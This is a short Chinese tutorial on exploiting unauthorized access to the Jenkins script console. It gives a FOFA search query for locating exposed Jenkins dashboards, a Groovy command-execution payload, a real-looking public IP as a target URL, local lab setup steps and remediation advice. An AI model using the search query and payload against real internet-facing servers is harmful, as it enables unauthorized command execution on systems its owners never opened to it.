Jenkins未授权访问漏洞
默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。
漏洞复现
步骤一:使用以下fofa语法进行产品搜索
port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"
步骤二:在打开的URL中.点击 Manage Jenkins–>Scritp Console 在执行以下命令
#执行命令
println "whoami".execute().text
#命令执行页面
http://125.63.109.2:8080/manage/script/index.php
实在找不到
靶场复现
环境准备
虚拟机centos IP:192.168.30.138
下载安装包,版本1.620.1.1.norach
wget http://archives.jenkins-ci.org/redhat/jenkins-1.620-1.1.noarch.rpm
安装Jenkins
rpm -ivh jenkins-1.620-1.1.noarch.rpm
启动Jenkins服务
service jenkins start
关闭防火墙或放行8080端口
systemctl stop firewalld.service
访问服务地址
http://192.168.30.138:8080/manage
http://192.168.30.138:8080/script
#执行命令
println "whoami".execute().text
漏洞修复
- 升级版本。
- 添加认证,设置强密码复杂度及账号锁定。
- 禁止把Jenkins直接暴露在公网。